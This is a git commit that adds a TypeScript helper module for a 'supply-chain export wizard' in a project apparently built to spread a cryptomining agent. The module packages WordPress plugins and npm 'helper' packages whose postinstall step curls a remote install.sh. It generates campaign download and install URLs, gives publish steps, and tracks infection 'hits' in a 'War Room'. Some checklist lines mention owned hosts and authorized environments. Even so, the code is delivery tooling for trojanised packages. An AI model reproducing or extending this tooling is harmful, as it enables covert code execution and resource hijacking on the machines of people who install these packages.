feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
AetherForge
2026-06-04 22:36:17 -07:00
parent 1551bd5dad
commit a32860b0d9
154 changed files with 17383 additions and 601 deletions

View File

@@ -0,0 +1,234 @@
/** Supply-chain export wizard helpers (WordPress plugin + npm postinstall). */
import { spreadTechniqueDocUrl } from './spreadTechniques';
export type SupplyChainFamily = 'wordpress' | 'npm';
export const SUPPLY_CHAIN_WIZARD_STEPS = [
'pick-build',
'configure',
'download',
'host',
] as const;
export type SupplyChainWizardStep = (typeof SUPPLY_CHAIN_WIZARD_STEPS)[number];
export const SUPPLY_CHAIN_STEP_LABELS: Record<SupplyChainWizardStep, string> = {
'pick-build': 'Pick build',
configure: 'Configure site/campaign',
download: 'Download ZIP',
host: 'Copy hosting instructions',
};
/** Matches server sanitizeExportSlug in spread_export.go */
export function sanitizeExportSlug(s: string): string {
let slug = s.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^[-.]+|[-.]+$/g, '');
if (!slug) slug = 'site';
if (slug.length > 48) slug = slug.slice(0, 48);
return slug;
}
export function wpCampaignSlug(siteName: string): string {
return `wp-${sanitizeExportSlug(siteName)}`;
}
export function wpDownloadUrl(serverUrl: string, siteName: string, buildId: string): string {
const base = serverUrl.replace(/\/$/, '');
const c = wpCampaignSlug(siteName);
let url = `${base}/get?c=${encodeURIComponent(c)}`;
const pin = buildId.trim();
if (pin) url += `&pin=${encodeURIComponent(pin)}`;
return url;
}
export function npmPackageName(campaign: string): string {
const slug = sanitizeExportSlug(campaign || 'npm-helper');
return `@aetherforge/${slug}-helper`;
}
export function npmInstallShUrl(serverUrl: string, campaign: string, buildId: string): string {
const base = serverUrl.replace(/\/$/, '');
const parts: string[] = [];
const pin = buildId.trim();
const slug = campaign.trim();
if (pin) parts.push(`pin=${encodeURIComponent(pin)}`);
if (slug) parts.push(`c=${encodeURIComponent(slug)}`);
return parts.length ? `${base}/install.sh?${parts.join('&')}` : `${base}/install.sh`;
}
export function supplyChainZipFilename(family: SupplyChainFamily, siteOrCampaign: string): string {
const slug = sanitizeExportSlug(siteOrCampaign || (family === 'wordpress' ? 'site' : 'npm-helper'));
return family === 'wordpress' ? `${slug}-wordpress-plugin.zip` : `${slug}-npm-helper.zip`;
}
export function supplyChainWikiUrl(family: SupplyChainFamily): string {
return family === 'wordpress'
? spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)
: spreadTechniqueDocUrl('npm-postinstall-helper', true);
}
export function supplyChainHostingChecklistUrl(family: SupplyChainFamily): string {
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
}
export interface HostingChecklistItem {
id: string;
label: string;
}
export function hostingChecklist(family: SupplyChainFamily): HostingChecklistItem[] {
if (family === 'wordpress') {
return [
{ id: 'unzip', label: 'Unzip the downloaded plugin archive locally' },
{ id: 'upload', label: 'WP Admin → Plugins → Add New → Upload Plugin' },
{ id: 'activate', label: 'Activate the plugin on your owned WordPress host' },
{ id: 'verify', label: 'Confirm admin notice links to /get?c=wp-{site} on your deck' },
{ id: 'track', label: 'Track wp-{site} hits in Emberwake → Campaign War Room' },
];
}
return [
{ id: 'unzip', label: 'Unzip the npm helper package template' },
{ id: 'name', label: 'Adjust package.json name/scope if needed' },
{ id: 'publish', label: 'Publish to a registry you control (private npm, Verdaccio, GitHub Packages)' },
{ id: 'dep', label: 'Add as dependency only in authorized CI/dev environments' },
{ id: 'verify', label: 'Run npm install and confirm postinstall curls install.sh' },
];
}
export interface HostingInstructionBlock {
title: string;
body: string;
}
export function hostingInstructions(
family: SupplyChainFamily,
opts: { serverUrl: string; siteName: string; campaign: string; buildId: string },
): HostingInstructionBlock[] {
const { serverUrl, siteName, campaign, buildId } = opts;
if (family === 'wordpress') {
const slug = sanitizeExportSlug(siteName);
const dl = wpDownloadUrl(serverUrl, siteName, buildId);
return [
{
title: 'Upload path',
body: `Plugins → Add New → Upload Plugin → choose ${slug}-wordpress-plugin.zip → Install Now → Activate`,
},
{
title: 'Campaign tag',
body: `War Room tracks connects as ?c=${wpCampaignSlug(siteName)}`,
},
{
title: 'Download URL (plugin links here)',
body: dl,
},
{
title: 'Wiki playbook',
body: supplyChainWikiUrl('wordpress'),
},
];
}
const pkg = npmPackageName(campaign);
const install = npmInstallShUrl(serverUrl, campaign, buildId);
return [
{
title: 'Package name',
body: pkg,
},
{
title: 'Publish',
body: `cd unpacked-folder && npm publish --access restricted`,
},
{
title: 'postinstall target',
body: install,
},
{
title: 'Wiki playbook',
body: supplyChainWikiUrl('npm'),
},
];
}
export function wizardStepIndex(step: SupplyChainWizardStep): number {
return SUPPLY_CHAIN_WIZARD_STEPS.indexOf(step);
}
export function wizardStepStatus(
step: SupplyChainWizardStep,
current: SupplyChainWizardStep,
): 'pending' | 'active' | 'done' {
const idx = wizardStepIndex(step);
const cur = wizardStepIndex(current);
if (idx < cur) return 'done';
if (idx === cur) return 'active';
return 'pending';
}
/** Post-export deployment reel — three beats after a successful ZIP export. */
export type DeploymentReelStepId = 'download' | 'upload' | 'verify-war-room';
export interface DeploymentReelStep {
id: DeploymentReelStepId;
label: string;
/** When set, step label links to wiki or in-app anchor. */
href?: string;
}
export const DEPLOYMENT_REEL_STEP_IDS: DeploymentReelStepId[] = [
'download',
'upload',
'verify-war-room',
];
export const DEPLOYMENT_REEL_INITIAL_DELAY_MS = 400;
export const DEPLOYMENT_REEL_STEP_MS = 900;
/** Wiki anchor for the upload/publish beat in the deployment reel. */
export function deploymentReelUploadWikiUrl(family: SupplyChainFamily): string {
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
}
/** In-app scroll target for War Room verification. */
export const EMBERWAKE_WAR_ROOM_HASH = '#campaign-war-room';
export function emberwakeWarRoomUrl(): string {
return `/emberwake${EMBERWAKE_WAR_ROOM_HASH}`;
}
export function deploymentReelSteps(family: SupplyChainFamily): DeploymentReelStep[] {
return [
{ id: 'download', label: 'Download ZIP' },
{ id: 'upload', label: 'Upload here', href: deploymentReelUploadWikiUrl(family) },
{ id: 'verify-war-room', label: 'Verify hit in War Room', href: emberwakeWarRoomUrl() },
];
}
/** How many reel steps should show a completed checkmark at `elapsedMs`. */
export function deploymentReelVisibleCount(elapsedMs: number, stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
if (elapsedMs < DEPLOYMENT_REEL_INITIAL_DELAY_MS) return 0;
const afterStart = elapsedMs - DEPLOYMENT_REEL_INITIAL_DELAY_MS;
const count = Math.floor(afterStart / DEPLOYMENT_REEL_STEP_MS) + 1;
return Math.min(Math.max(count, 0), stepCount);
}
/** Index (0-based) of the step currently animating, or -1 before start / after all done. */
export function deploymentReelActiveIndex(visibleCount: number, stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
if (visibleCount <= 0) return 0;
if (visibleCount >= stepCount) return -1;
return visibleCount;
}
export function deploymentReelStepStatus(
stepIndex: number,
visibleCount: number,
): 'pending' | 'active' | 'done' {
if (stepIndex < visibleCount) return 'done';
if (stepIndex === visibleCount && visibleCount < DEPLOYMENT_REEL_STEP_IDS.length) return 'active';
return 'pending';
}
export function deploymentReelTotalDurationMs(stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
return DEPLOYMENT_REEL_INITIAL_DELAY_MS + stepCount * DEPLOYMENT_REEL_STEP_MS;
}